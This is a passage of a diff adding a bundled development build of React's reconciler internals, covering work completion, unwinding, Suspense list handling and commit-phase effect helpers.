+              pushTreeId(workInProgress2, numberOfForks, slotIndex);
+            }
+          }
+          workInProgress2.lanes = NoLanes;
+          switch (workInProgress2.tag) {
+            case IndeterminateComponent: {
+              return mountIndeterminateComponent(current2, workInProgress2, workInProgress2.type, renderLanes2);
+            }
+            case LazyComponent: {
+              var elementType = workInProgress2.elementType;
+              return mountLazyComponent(current2, workInProgress2, elementType, renderLanes2);
+            }
+            case FunctionComponent: {
+              var Component = workInProgress2.type;
+              var unresolvedProps = workInProgress2.pendingProps;
+              var resolvedProps = workInProgress2.elementType === Component ? unresolvedProps : resolveDefaultProps(Component, unresolvedProps);
+              return updateFunctionComponent(current2, workInProgress2, Component, resolvedProps, renderLanes2);
+            }
+            case ClassComponent: {
+              var _Component = workInProgress2.type;
+              var _unresolvedProps = workInProgress2.pendingProps;
+              var _resolvedProps = workInProgress2.elementType === _Component ? _unresolvedProps : resolveDefaultProps(_Component, _unresolvedProps);
+              return updateClassComponent(current2, workInProgress2, _Component, _resolvedProps, renderLanes2);
+            }
+            case HostRoot:
+              return updateHostRoot(current2, workInProgress2, renderLanes2);
+            case HostComponent:
+              return updateHostComponent(current2, workInProgress2, renderLanes2);
+            case HostText:
+              return updateHostText(current2, workInProgress2);
+            case SuspenseComponent:
+              return updateSuspenseComponent(current2, workInProgress2, renderLanes2);
+            case HostPortal:
+              return updatePortalComponent(current2, workInProgress2, renderLanes2);
+            case ForwardRef: {
+              var type = workInProgress2.type;
+              var _unresolvedProps2 = workInProgress2.pendingProps;
+              var _resolvedProps2 = workInProgress2.elementType === type ? _unresolvedProps2 : resolveDefaultProps(type, _unresolvedProps2);
+              return updateForwardRef(current2, workInProgress2, type, _resolvedProps2, renderLanes2);
+            }
+            case Fragment:
+              return updateFragment(current2, workInProgress2, renderLanes2);
+            case Mode:
+              return updateMode(current2, workInProgress2, renderLanes2);
+            case Profiler:
+              return updateProfiler(current2, workInProgress2, renderLanes2);
+            case ContextProvider:
+              return updateContextProvider(current2, workInProgress2, renderLanes2);
+            case ContextConsumer:
+              return updateContextConsumer(current2, workInProgress2, renderLanes2);
+            case MemoComponent: {
+              var _type2 = workInProgress2.type;
+              var _unresolvedProps3 = workInProgress2.pendingProps;
+              var _resolvedProps3 = resolveDefaultProps(_type2, _unresolvedProps3);
+              {
+                if (workInProgress2.type !== workInProgress2.elementType) {
+                  var outerPropTypes = _type2.propTypes;
+                  if (outerPropTypes) {
+                    checkPropTypes(outerPropTypes, _resolvedProps3, "prop", getComponentNameFromType(_type2));
+                  }
+                }
+              }
+              _resolvedProps3 = resolveDefaultProps(_type2.type, _resolvedProps3);
+              return updateMemoComponent(current2, workInProgress2, _type2, _resolvedProps3, renderLanes2);
+            }
+            case SimpleMemoComponent: {
+              return updateSimpleMemoComponent(current2, workInProgress2, workInProgress2.type, workInProgress2.pendingProps, renderLanes2);
+            }
+            case IncompleteClassComponent: {
+              var _Component2 = workInProgress2.type;
+              var _unresolvedProps4 = workInProgress2.pendingProps;
+              var _resolvedProps4 = workInProgress2.elementType === _Component2 ? _unresolvedProps4 : resolveDefaultProps(_Component2, _unresolvedProps4);
+              return mountIncompleteClassComponent(current2, workInProgress2, _Component2, _resolvedProps4, renderLanes2);
+            }
+            case SuspenseListComponent: {
+              return updateSuspenseListComponent(current2, workInProgress2, renderLanes2);
+            }
+            case ScopeComponent: {
+              break;
+            }
+            case OffscreenComponent: {
+              return updateOffscreenComponent(current2, workInProgress2, renderLanes2);
+            }
+          }
+          throw new Error("Unknown unit of work tag (" + workInProgress2.tag + "). This error is likely caused by a bug in React. Please file an issue.");
+        }
+        function markUpdate(workInProgress2) {
+          workInProgress2.flags |= Update;
+        }
+        function markRef$1(workInProgress2) {
+          workInProgress2.flags |= Ref;
+          {
+            workInProgress2.flags |= RefStatic;
+          }
+        }
+        var appendAllChildren;
+        var updateHostContainer;
+        var updateHostComponent$1;
+        var updateHostText$1;
+        {
+          appendAllChildren = function(parent, workInProgress2, needsVisibilityToggle, isHidden) {
+            var node = workInProgress2.child;
+            while (node !== null) {
+              if (node.tag === HostComponent || node.tag === HostText) {
+                appendInitialChild(parent, node.stateNode);
+              } else if (node.tag === HostPortal)
+                ;
+              else if (node.child !== null) {
+                node.child.return = node;
+                node = node.child;
+                continue;
+              }
+              if (node === workInProgress2) {
+                return;
+              }
+              while (node.sibling === null) {
+                if (node.return === null || node.return === workInProgress2) {
+                  return;
+                }
+                node = node.return;
+              }
+              node.sibling.return = node.return;
+              node = node.sibling;
+            }
+          };
+          updateHostContainer = function(current2, workInProgress2) {
+          };
+          updateHostComponent$1 = function(current2, workInProgress2, type, newProps, rootContainerInstance) {
+            var oldProps = current2.memoizedProps;
+            if (oldProps === newProps) {
+              return;
+            }
+            var instance = workInProgress2.stateNode;
+            var currentHostContext = getHostContext();
+            var updatePayload = prepareUpdate(instance, type, oldProps, newProps, rootContainerInstance, currentHostContext);
+            workInProgress2.updateQueue = updatePayload;
+            if (updatePayload) {
+              markUpdate(workInProgress2);
+            }
+          };
+          updateHostText$1 = function(current2, workInProgress2, oldText, newText) {
+            if (oldText !== newText) {
+              markUpdate(workInProgress2);
+            }
+          };
+        }
+        function cutOffTailIfNeeded(renderState, hasRenderedATailFallback) {
+          if (getIsHydrating()) {
+            return;
+          }
+          switch (renderState.tailMode) {
+            case "hidden": {
+              var tailNode = renderState.tail;
+              var lastTailNode = null;
+              while (tailNode !== null) {
+                if (tailNode.alternate !== null) {
+                  lastTailNode = tailNode;
+                }
+                tailNode = tailNode.sibling;
+              }
+              if (lastTailNode === null) {
+                renderState.tail = null;
+              } else {
+                lastTailNode.sibling = null;
+              }
+              break;
+            }
+            case "collapsed": {
+              var _tailNode = renderState.tail;
+              var _lastTailNode = null;
+              while (_tailNode !== null) {
+                if (_tailNode.alternate !== null) {
+                  _lastTailNode = _tailNode;
+                }
+                _tailNode = _tailNode.sibling;
+              }
+              if (_lastTailNode === null) {
+                if (!hasRenderedATailFallback && renderState.tail !== null) {
+                  renderState.tail.sibling = null;
+                } else {
+                  renderState.tail = null;
+                }
+              } else {
+                _lastTailNode.sibling = null;
+              }
+              break;
+            }
+          }
+        }
+        function bubbleProperties(completedWork) {
+          var didBailout = completedWork.alternate !== null && completedWork.alternate.child === completedWork.child;
+          var newChildLanes = NoLanes;
+          var subtreeFlags = NoFlags;
+          if (!didBailout) {
+            if ((completedWork.mode & ProfileMode) !== NoMode) {
+              var actualDuration = completedWork.actualDuration;
+              var treeBaseDuration = completedWork.selfBaseDuration;
+              var child = completedWork.child;
+              while (child !== null) {
+                newChildLanes = mergeLanes(newChildLanes, mergeLanes(child.lanes, child.childLanes));
+                subtreeFlags |= child.subtreeFlags;
+                subtreeFlags |= child.flags;
+                actualDuration += child.actualDuration;
+                treeBaseDuration += child.treeBaseDuration;
+                child = child.sibling;
+              }
+              completedWork.actualDuration = actualDuration;
+              completedWork.treeBaseDuration = treeBaseDuration;
+            } else {
+              var _child = completedWork.child;
+              while (_child !== null) {
+                newChildLanes = mergeLanes(newChildLanes, mergeLanes(_child.lanes, _child.childLanes));
+                subtreeFlags |= _child.subtreeFlags;
+                subtreeFlags |= _child.flags;
+                _child.return = completedWork;
+                _child = _child.sibling;
+              }
+            }
+            completedWork.subtreeFlags |= subtreeFlags;
+          } else {
+            if ((completedWork.mode & ProfileMode) !== NoMode) {
+              var _treeBaseDuration = completedWork.selfBaseDuration;
+              var _child2 = completedWork.child;
+              while (_child2 !== null) {
+                newChildLanes = mergeLanes(newChildLanes, mergeLanes(_child2.lanes, _child2.childLanes));
+                subtreeFlags |= _child2.subtreeFlags & StaticMask;
+                subtreeFlags |= _child2.flags & StaticMask;
+                _treeBaseDuration += _child2.treeBaseDuration;
+                _child2 = _child2.sibling;
+              }
+              completedWork.treeBaseDuration = _treeBaseDuration;
+            } else {
+              var _child3 = completedWork.child;
+              while (_child3 !== null) {
+                newChildLanes = mergeLanes(newChildLanes, mergeLanes(_child3.lanes, _child3.childLanes));
+                subtreeFlags |= _child3.subtreeFlags & StaticMask;
+                subtreeFlags |= _child3.flags & StaticMask;
+                _child3.return = completedWork;
+                _child3 = _child3.sibling;
+              }
+            }
+            completedWork.subtreeFlags |= subtreeFlags;
+          }
+          completedWork.childLanes = newChildLanes;
+          return didBailout;
+        }
+        function completeDehydratedSuspenseBoundary(current2, workInProgress2, nextState) {
+          if (hasUnhydratedTailNodes() && (workInProgress2.mode & ConcurrentMode) !== NoMode && (workInProgress2.flags & DidCapture) === NoFlags) {
+            warnIfUnhydratedTailNodes(workInProgress2);
+            resetHydrationState();
+            workInProgress2.flags |= ForceClientRender | Incomplete | ShouldCapture;
+            return false;
+          }
+          var wasHydrated = popHydrationState(workInProgress2);
+          if (nextState !== null && nextState.dehydrated !== null) {
+            if (current2 === null) {
+              if (!wasHydrated) {
+                throw new Error("A dehydrated suspense component was completed without a hydrated node. This is probably a bug in React.");
+              }
+              prepareToHydrateHostSuspenseInstance(workInProgress2);
+              bubbleProperties(workInProgress2);
+              {
+                if ((workInProgress2.mode & ProfileMode) !== NoMode) {
+                  var isTimedOutSuspense = nextState !== null;
+                  if (isTimedOutSuspense) {
+                    var primaryChildFragment = workInProgress2.child;
+                    if (primaryChildFragment !== null) {
+                      workInProgress2.treeBaseDuration -= primaryChildFragment.treeBaseDuration;
+                    }
+                  }
+                }
+              }
+              return false;
+            } else {
+              resetHydrationState();
+              if ((workInProgress2.flags & DidCapture) === NoFlags) {
+                workInProgress2.memoizedState = null;
+              }
+              workInProgress2.flags |= Update;
+              bubbleProperties(workInProgress2);
+              {
+                if ((workInProgress2.mode & ProfileMode) !== NoMode) {
+                  var _isTimedOutSuspense = nextState !== null;
+                  if (_isTimedOutSuspense) {
+                    var _primaryChildFragment = workInProgress2.child;
+                    if (_primaryChildFragment !== null) {
+                      workInProgress2.treeBaseDuration -= _primaryChildFragment.treeBaseDuration;
+                    }
+                  }
+                }
+              }
+              return false;
+            }
+          } else {
+            upgradeHydrationErrorsToRecoverable();
+            return true;
+          }
+        }
+        function completeWork(current2, workInProgress2, renderLanes2) {
+          var newProps = workInProgress2.pendingProps;
+          popTreeContext(workInProgress2);
+          switch (workInProgress2.tag) {
+            case IndeterminateComponent:
+            case LazyComponent:
+            case SimpleMemoComponent:
+            case FunctionComponent:
+            case ForwardRef:
+            case Fragment:
+            case Mode:
+            case Profiler:
+            case ContextConsumer:
+            case MemoComponent:
+              bubbleProperties(workInProgress2);
+              return null;
+            case ClassComponent: {
+              var Component = workInProgress2.type;
+              if (isContextProvider(Component)) {
+                popContext(workInProgress2);
+              }
+              bubbleProperties(workInProgress2);
+              return null;
+            }
+            case HostRoot: {
+              var fiberRoot = workInProgress2.stateNode;
+              popHostContainer(workInProgress2);
+              popTopLevelContextObject(workInProgress2);
+              resetWorkInProgressVersions();
+              if (fiberRoot.pendingContext) {
+                fiberRoot.context = fiberRoot.pendingContext;
+                fiberRoot.pendingContext = null;
+              }
+              if (current2 === null || current2.child === null) {
+                var wasHydrated = popHydrationState(workInProgress2);
+                if (wasHydrated) {
+                  markUpdate(workInProgress2);
+                } else {
+                  if (current2 !== null) {
+                    var prevState = current2.memoizedState;
+                    if (!prevState.isDehydrated || (workInProgress2.flags & ForceClientRender) !== NoFlags) {
+                      workInProgress2.flags |= Snapshot;
+                      upgradeHydrationErrorsToRecoverable();
+                    }
+                  }
+                }
+              }
+              updateHostContainer(current2, workInProgress2);
+              bubbleProperties(workInProgress2);
+              return null;
+            }
+            case HostComponent: {
+              popHostContext(workInProgress2);
+              var rootContainerInstance = getRootHostContainer();
+              var type = workInProgress2.type;
+              if (current2 !== null && workInProgress2.stateNode != null) {
+                updateHostComponent$1(current2, workInProgress2, type, newProps, rootContainerInstance);
+                if (current2.ref !== workInProgress2.ref) {
+                  markRef$1(workInProgress2);
+                }
+              } else {
+                if (!newProps) {
+                  if (workInProgress2.stateNode === null) {
+                    throw new Error("We must have new props for new mounts. This error is likely caused by a bug in React. Please file an issue.");
+                  }
+                  bubbleProperties(workInProgress2);
+                  return null;
+                }
+                var currentHostContext = getHostContext();
+                var _wasHydrated = popHydrationState(workInProgress2);
+                if (_wasHydrated) {
+                  if (prepareToHydrateHostInstance(workInProgress2, rootContainerInstance, currentHostContext)) {
+                    markUpdate(workInProgress2);
+                  }
+                } else {
+                  var instance = createInstance(type, newProps, rootContainerInstance, currentHostContext, workInProgress2);
+                  appendAllChildren(instance, workInProgress2, false, false);
+                  workInProgress2.stateNode = instance;
+                  if (finalizeInitialChildren(instance, type, newProps, rootContainerInstance)) {
+                    markUpdate(workInProgress2);
+                  }
+                }
+                if (workInProgress2.ref !== null) {
+                  markRef$1(workInProgress2);
+                }
+              }
+              bubbleProperties(workInProgress2);
+              return null;
+            }
+            case HostText: {
+              var newText = newProps;
+              if (current2 && workInProgress2.stateNode != null) {
+                var oldText = current2.memoizedProps;
+                updateHostText$1(current2, workInProgress2, oldText, newText);
+              } else {
+                if (typeof newText !== "string") {
+                  if (workInProgress2.stateNode === null) {
+                    throw new Error("We must have new props for new mounts. This error is likely caused by a bug in React. Please file an issue.");
+                  }
+                }
+                var _rootContainerInstance = getRootHostContainer();
+                var _currentHostContext = getHostContext();
+                var _wasHydrated2 = popHydrationState(workInProgress2);
+                if (_wasHydrated2) {
+                  if (prepareToHydrateHostTextInstance(workInProgress2)) {
+                    markUpdate(workInProgress2);
+                  }
+                } else {
+                  workInProgress2.stateNode = createTextInstance(newText, _rootContainerInstance, _currentHostContext, workInProgress2);
+                }
+              }
+              bubbleProperties(workInProgress2);
+              return null;
+            }
+            case SuspenseComponent: {
+              popSuspenseContext(workInProgress2);
+              var nextState = workInProgress2.memoizedState;
+              if (current2 === null || current2.memoizedState !== null && current2.memoizedState.dehydrated !== null) {
+                var fallthroughToNormalSuspensePath = completeDehydratedSuspenseBoundary(current2, workInProgress2, nextState);
+                if (!fallthroughToNormalSuspensePath) {
+                  if (workInProgress2.flags & ShouldCapture) {
+                    return workInProgress2;
+                  } else {
+                    return null;
+                  }
+                }
+              }
+              if ((workInProgress2.flags & DidCapture) !== NoFlags) {
+                workInProgress2.lanes = renderLanes2;
+                if ((workInProgress2.mode & ProfileMode) !== NoMode) {
+                  transferActualDuration(workInProgress2);
+                }
+                return workInProgress2;
+              }
+              var nextDidTimeout = nextState !== null;
+              var prevDidTimeout = current2 !== null && current2.memoizedState !== null;
+              if (nextDidTimeout !== prevDidTimeout) {
+                if (nextDidTimeout) {
+                  var _offscreenFiber2 = workInProgress2.child;
+                  _offscreenFiber2.flags |= Visibility;
+                  if ((workInProgress2.mode & ConcurrentMode) !== NoMode) {
+                    var hasInvisibleChildContext = current2 === null && (workInProgress2.memoizedProps.unstable_avoidThisFallback !== true || !enableSuspenseAvoidThisFallback);
+                    if (hasInvisibleChildContext || hasSuspenseContext(suspenseStackCursor.current, InvisibleParentSuspenseContext)) {
+                      renderDidSuspend();
+                    } else {
+                      renderDidSuspendDelayIfPossible();
+                    }
+                  }
+                }
+              }
+              var wakeables = workInProgress2.updateQueue;
+              if (wakeables !== null) {
+                workInProgress2.flags |= Update;
+              }
+              bubbleProperties(workInProgress2);
+              {
+                if ((workInProgress2.mode & ProfileMode) !== NoMode) {
+                  if (nextDidTimeout) {
+                    var primaryChildFragment = workInProgress2.child;
+                    if (primaryChildFragment !== null) {
+                      workInProgress2.treeBaseDuration -= primaryChildFragment.treeBaseDuration;
+                    }
+                  }
+                }
+              }
+              return null;
+            }
+            case HostPortal:
+              popHostContainer(workInProgress2);
+              updateHostContainer(current2, workInProgress2);
+              if (current2 === null) {
+                preparePortalMount(workInProgress2.stateNode.containerInfo);
+              }
+              bubbleProperties(workInProgress2);
+              return null;
+            case ContextProvider:
+              var context = workInProgress2.type._context;
+              popProvider(context, workInProgress2);
+              bubbleProperties(workInProgress2);
+              return null;
+            case IncompleteClassComponent: {
+              var _Component = workInProgress2.type;
+              if (isContextProvider(_Component)) {
+                popContext(workInProgress2);
+              }
+              bubbleProperties(workInProgress2);
+              return null;
+            }
+            case SuspenseListComponent: {
+              popSuspenseContext(workInProgress2);
+              var renderState = workInProgress2.memoizedState;
+              if (renderState === null) {
+                bubbleProperties(workInProgress2);
+                return null;
+              }
+              var didSuspendAlready = (workInProgress2.flags & DidCapture) !== NoFlags;
+              var renderedTail = renderState.rendering;
+              if (renderedTail === null) {
+                if (!didSuspendAlready) {
+                  var cannotBeSuspended = renderHasNotSuspendedYet() && (current2 === null || (current2.flags & DidCapture) === NoFlags);
+                  if (!cannotBeSuspended) {
+                    var row = workInProgress2.child;
+                    while (row !== null) {
+                      var suspended = findFirstSuspended(row);
+                      if (suspended !== null) {
+                        didSuspendAlready = true;
+                        workInProgress2.flags |= DidCapture;
+                        cutOffTailIfNeeded(renderState, false);
+                        var newThenables = suspended.updateQueue;
+                        if (newThenables !== null) {
+                          workInProgress2.updateQueue = newThenables;
+                          workInProgress2.flags |= Update;
+                        }
+                        workInProgress2.subtreeFlags = NoFlags;
+                        resetChildFibers(workInProgress2, renderLanes2);
+                        pushSuspenseContext(workInProgress2, setShallowSuspenseContext(suspenseStackCursor.current, ForceSuspenseFallback));
+                        return workInProgress2.child;
+                      }
+                      row = row.sibling;
+                    }
+                  }
+                  if (renderState.tail !== null && now() > getRenderTargetTime()) {
+                    workInProgress2.flags |= DidCapture;
+                    didSuspendAlready = true;
+                    cutOffTailIfNeeded(renderState, false);
+                    workInProgress2.lanes = SomeRetryLane;
+                  }
+                } else {
+                  cutOffTailIfNeeded(renderState, false);
+                }
+              } else {
+                if (!didSuspendAlready) {
+                  var _suspended = findFirstSuspended(renderedTail);
+                  if (_suspended !== null) {
+                    workInProgress2.flags |= DidCapture;
+                    didSuspendAlready = true;
+                    var _newThenables = _suspended.updateQueue;
+                    if (_newThenables !== null) {
+                      workInProgress2.updateQueue = _newThenables;
+                      workInProgress2.flags |= Update;
+                    }
+                    cutOffTailIfNeeded(renderState, true);
+                    if (renderState.tail === null && renderState.tailMode === "hidden" && !renderedTail.alternate && !getIsHydrating()) {
+                      bubbleProperties(workInProgress2);
+                      return null;
+                    }
+                  } else if (now() * 2 - renderState.renderingStartTime > getRenderTargetTime() && renderLanes2 !== OffscreenLane) {
+                    workInProgress2.flags |= DidCapture;
+                    didSuspendAlready = true;
+                    cutOffTailIfNeeded(renderState, false);
+                    workInProgress2.lanes = SomeRetryLane;
+                  }
+                }
+                if (renderState.isBackwards) {
+                  renderedTail.sibling = workInProgress2.child;
+                  workInProgress2.child = renderedTail;
+                } else {
+                  var previousSibling = renderState.last;
+                  if (previousSibling !== null) {
+                    previousSibling.sibling = renderedTail;
+                  } else {
+                    workInProgress2.child = renderedTail;
+                  }
+                  renderState.last = renderedTail;
+                }
+              }
+              if (renderState.tail !== null) {
+                var next = renderState.tail;
+                renderState.rendering = next;
+                renderState.tail = next.sibling;
+                renderState.renderingStartTime = now();
+                next.sibling = null;
+                var suspenseContext = suspenseStackCursor.current;
+                if (didSuspendAlready) {
+                  suspenseContext = setShallowSuspenseContext(suspenseContext, ForceSuspenseFallback);
+                } else {
+                  suspenseContext = setDefaultShallowSuspenseContext(suspenseContext);
+                }
+                pushSuspenseContext(workInProgress2, suspenseContext);
+                return next;
+              }
+              bubbleProperties(workInProgress2);
+              return null;
+            }
+            case ScopeComponent: {
+              break;
+            }
+            case OffscreenComponent:
+            case LegacyHiddenComponent: {
+              popRenderLanes(workInProgress2);
+              var _nextState = workInProgress2.memoizedState;
+              var nextIsHidden = _nextState !== null;
+              if (current2 !== null) {
+                var _prevState = current2.memoizedState;
+                var prevIsHidden = _prevState !== null;
+                if (prevIsHidden !== nextIsHidden && !enableLegacyHidden) {
+                  workInProgress2.flags |= Visibility;
+                }
+              }
+              if (!nextIsHidden || (workInProgress2.mode & ConcurrentMode) === NoMode) {
+                bubbleProperties(workInProgress2);
+              } else {
+                if (includesSomeLane(subtreeRenderLanes, OffscreenLane)) {
+                  bubbleProperties(workInProgress2);
+                  {
+                    if (workInProgress2.subtreeFlags & (Placement | Update)) {
+                      workInProgress2.flags |= Visibility;
+                    }
+                  }
+                }
+              }
+              return null;
+            }
+            case CacheComponent: {
+              return null;
+            }
+            case TracingMarkerComponent: {
+              return null;
+            }
+          }
+          throw new Error("Unknown unit of work tag (" + workInProgress2.tag + "). This error is likely caused by a bug in React. Please file an issue.");
+        }
+        function unwindWork(current2, workInProgress2, renderLanes2) {
+          popTreeContext(workInProgress2);
+          switch (workInProgress2.tag) {
+            case ClassComponent: {
+              var Component = workInProgress2.type;
+              if (isContextProvider(Component)) {
+                popContext(workInProgress2);
+              }
+              var flags = workInProgress2.flags;
+              if (flags & ShouldCapture) {
+                workInProgress2.flags = flags & ~ShouldCapture | DidCapture;
+                if ((workInProgress2.mode & ProfileMode) !== NoMode) {
+                  transferActualDuration(workInProgress2);
+                }
+                return workInProgress2;
+              }
+              return null;
+            }
+            case HostRoot: {
+              var root2 = workInProgress2.stateNode;
+              popHostContainer(workInProgress2);
+              popTopLevelContextObject(workInProgress2);
+              resetWorkInProgressVersions();
+              var _flags = workInProgress2.flags;
+              if ((_flags & ShouldCapture) !== NoFlags && (_flags & DidCapture) === NoFlags) {
+                workInProgress2.flags = _flags & ~ShouldCapture | DidCapture;
+                return workInProgress2;
+              }
+              return null;
+            }
+            case HostComponent: {
+              popHostContext(workInProgress2);
+              return null;
+            }
+            case SuspenseComponent: {
+              popSuspenseContext(workInProgress2);
+              var suspenseState = workInProgress2.memoizedState;
+              if (suspenseState !== null && suspenseState.dehydrated !== null) {
+                if (workInProgress2.alternate === null) {
+                  throw new Error("Threw in newly mounted dehydrated component. This is likely a bug in React. Please file an issue.");
+                }
+                resetHydrationState();
+              }
+              var _flags2 = workInProgress2.flags;
+              if (_flags2 & ShouldCapture) {
+                workInProgress2.flags = _flags2 & ~ShouldCapture | DidCapture;
+                if ((workInProgress2.mode & ProfileMode) !== NoMode) {
+                  transferActualDuration(workInProgress2);
+                }
+                return workInProgress2;
+              }
+              return null;
+            }
+            case SuspenseListComponent: {
+              popSuspenseContext(workInProgress2);
+              return null;
+            }
+            case HostPortal:
+              popHostContainer(workInProgress2);
+              return null;
+            case ContextProvider:
+              var context = workInProgress2.type._context;
+              popProvider(context, workInProgress2);
+              return null;
+            case OffscreenComponent:
+            case LegacyHiddenComponent:
+              popRenderLanes(workInProgress2);
+              return null;
+            case CacheComponent:
+              return null;
+            default:
+              return null;
+          }
+        }
+        function unwindInterruptedWork(current2, interruptedWork, renderLanes2) {
+          popTreeContext(interruptedWork);
+          switch (interruptedWork.tag) {
+            case ClassComponent: {
+              var childContextTypes = interruptedWork.type.childContextTypes;
+              if (childContextTypes !== null && childContextTypes !== void 0) {
+                popContext(interruptedWork);
+              }
+              break;
+            }
+            case HostRoot: {
+              var root2 = interruptedWork.stateNode;
+              popHostContainer(interruptedWork);
+              popTopLevelContextObject(interruptedWork);
+              resetWorkInProgressVersions();
+              break;
+            }
+            case HostComponent: {
+              popHostContext(interruptedWork);
+              break;
+            }
+            case HostPortal:
+              popHostContainer(interruptedWork);
+              break;
+            case SuspenseComponent:
+              popSuspenseContext(interruptedWork);
+              break;
+            case SuspenseListComponent:
+              popSuspenseContext(interruptedWork);
+              break;
+            case ContextProvider:
+              var context = interruptedWork.type._context;
+              popProvider(context, interruptedWork);
+              break;
+            case OffscreenComponent:
+            case LegacyHiddenComponent:
+              popRenderLanes(interruptedWork);
+              break;
+          }
+        }
+        var didWarnAboutUndefinedSnapshotBeforeUpdate = null;
+        {
+          didWarnAboutUndefinedSnapshotBeforeUpdate = /* @__PURE__ */ new Set();
+        }
+        var offscreenSubtreeIsHidden = false;
+        var offscreenSubtreeWasHidden = false;
+        var PossiblyWeakSet = typeof WeakSet === "function" ? WeakSet : Set;
+        var nextEffect = null;
+        var inProgressLanes = null;
+        var inProgressRoot = null;
+        function reportUncaughtErrorInDEV(error2) {
+          {
+            invokeGuardedCallback(null, function() {
+              throw error2;
+            });
+            clearCaughtError();
+          }
+        }
+        var callComponentWillUnmountWithTimer = function(current2, instance) {
+          instance.props = current2.memoizedProps;
+          instance.state = current2.memoizedState;
+          if (current2.mode & ProfileMode) {
+            try {
+              startLayoutEffectTimer();
+              instance.componentWillUnmount();
+            } finally {
+              recordLayoutEffectDuration(current2);
+            }
+          } else {
+            instance.componentWillUnmount();
+          }
+        };
+        function safelyCallCommitHookLayoutEffectListMount(current2, nearestMountedAncestor) {
+          try {
+            commitHookEffectListMount(Layout, current2);
+          } catch (error2) {
+            captureCommitPhaseError(current2, nearestMountedAncestor, error2);
+          }
+        }
+        function safelyCallComponentWillUnmount(current2, nearestMountedAncestor, instance) {
+          try {
+            callComponentWillUnmountWithTimer(current2, instance);
+          } catch (error2) {
+            captureCommitPhaseError(current2, nearestMountedAncestor, error2);
+          }
+        }
+        function safelyCallComponentDidMount(current2, nearestMountedAncestor, instance) {
+          try {
+            instance.componentDidMount();
+          } catch (error2) {
+            captureCommitPhaseError(current2, nearestMountedAncestor, error2);
+          }
+        }
+        function safelyAttachRef(current2, nearestMountedAncestor) {
+          try {
+            commitAttachRef(current2);
+          } catch (error2) {
+            captureCommitPhaseError(current2, nearestMountedAncestor, error2);
+          }
+        }
+        function safelyDetachRef(current2, nearestMountedAncestor) {
+          var ref = current2.ref;
+          if (ref !== null) {
+            if (typeof ref === "function") {
+              var retVal;
+              try {
+                if (enableProfilerTimer && enableProfilerCommitHooks && current2.mode & ProfileMode) {
+                  try {
+                    startLayoutEffectTimer();
+                    retVal = ref(null);
+                  } finally {
+                    recordLayoutEffectDuration(current2);
+                  }
+                } else {
+                  retVal = ref(null);
+                }
+              } catch (error2) {
+                captureCommitPhaseError(current2, nearestMountedAncestor, error2);
+              }
+              {
+                if (typeof retVal === "function") {
+                  error("Unexpected return value from a callback ref in %s. A callback ref should not return a function.", getComponentNameFromFiber(current2));
+                }
+              }
+            } else {
+              ref.current = null;
+            }
+          }
+        }
+        function safelyCallDestroy(current2, nearestMountedAncestor, destroy) {
+          try {
+            destroy();
+          } catch (error2) {
+            captureCommitPhaseError(current2, nearestMountedAncestor, error2);
+          }
+        }
+        var focusedInstanceHandle = null;
+        var shouldFireAfterActiveInstanceBlur = false;
+        function commitBeforeMutationEffects(root2, firstChild) {
+          focusedInstanceHandle = prepareForCommit(root2.containerInfo);
+          nextEffect = firstChild;
+          commitBeforeMutationEffects_begin();
+          var shouldFire = shouldFireAfterActiveInstanceBlur;
+          shouldFireAfterActiveInstanceBlur = false;
+          focusedInstanceHandle = null;
+          return shouldFire;
+        }
+        function commitBeforeMutationEffects_begin() {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            var child = fiber.child;
+            if ((fiber.subtreeFlags & BeforeMutationMask) !== NoFlags && child !== null) {
+              child.return = fiber;
+              nextEffect = child;
+            } else {
+              commitBeforeMutationEffects_complete();
+            }
+          }
+        }
+        function commitBeforeMutationEffects_complete() {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            setCurrentFiber(fiber);
+            try {
+              commitBeforeMutationEffectsOnFiber(fiber);
+            } catch (error2) {
+              captureCommitPhaseError(fiber, fiber.return, error2);
+            }
+            resetCurrentFiber();
+            var sibling = fiber.sibling;
+            if (sibling !== null) {
+              sibling.return = fiber.return;
+              nextEffect = sibling;
+              return;
+            }
+            nextEffect = fiber.return;
+          }
+        }
+        function commitBeforeMutationEffectsOnFiber(finishedWork) {
+          var current2 = finishedWork.alternate;
+          var flags = finishedWork.flags;
+          if ((flags & Snapshot) !== NoFlags) {
+            setCurrentFiber(finishedWork);
+            switch (finishedWork.tag) {
+              case FunctionComponent:
+              case ForwardRef:
+              case SimpleMemoComponent: {
+                break;
+              }
+              case ClassComponent: {
+                if (current2 !== null) {
+                  var prevProps = current2.memoizedProps;
+                  var prevState = current2.memoizedState;
+                  var instance = finishedWork.stateNode;
+                  {
+                    if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
+                      if (instance.props !== finishedWork.memoizedProps) {
+                        error("Expected %s props to match memoized props before getSnapshotBeforeUpdate. This might either be because of a bug in React, or because a component reassigns its own `this.props`. Please file an issue.", getComponentNameFromFiber(finishedWork) || "instance");
+                      }
+                      if (instance.state !== finishedWork.memoizedState) {
+                        error("Expected %s state to match memoized state before getSnapshotBeforeUpdate. This might either be because of a bug in React, or because a component reassigns its own `this.state`. Please file an issue.", getComponentNameFromFiber(finishedWork) || "instance");
+                      }
+                    }
+                  }
+                  var snapshot = instance.getSnapshotBeforeUpdate(finishedWork.elementType === finishedWork.type ? prevProps : resolveDefaultProps(finishedWork.type, prevProps), prevState);
+                  {
+                    var didWarnSet = didWarnAboutUndefinedSnapshotBeforeUpdate;
+                    if (snapshot === void 0 && !didWarnSet.has(finishedWork.type)) {
+                      didWarnSet.add(finishedWork.type);
+                      error("%s.getSnapshotBeforeUpdate(): A snapshot value (or null) must be returned. You have returned undefined.", getComponentNameFromFiber(finishedWork));
+                    }
+                  }
+                  instance.__reactInternalSnapshotBeforeUpdate = snapshot;
+                }
+                break;
+              }
+              case HostRoot: {
+                {
+                  var root2 = finishedWork.stateNode;
+                  clearContainer(root2.containerInfo);
+                }
+                break;
+              }
+              case HostComponent:
+              case HostText:
+              case HostPortal:
+              case IncompleteClassComponent:
+                break;
+              default: {
+                throw new Error("This unit of work tag should not have side-effects. This error is likely caused by a bug in React. Please file an issue.");
+              }
+            }
+            resetCurrentFiber();
+          }
+        }
+        function commitHookEffectListUnmount(flags, finishedWork, nearestMountedAncestor) {
+          var updateQueue = finishedWork.updateQueue;
+          var lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;
+          if (lastEffect !== null) {
+            var firstEffect = lastEffect.next;
+            var effect = firstEffect;
+            do {
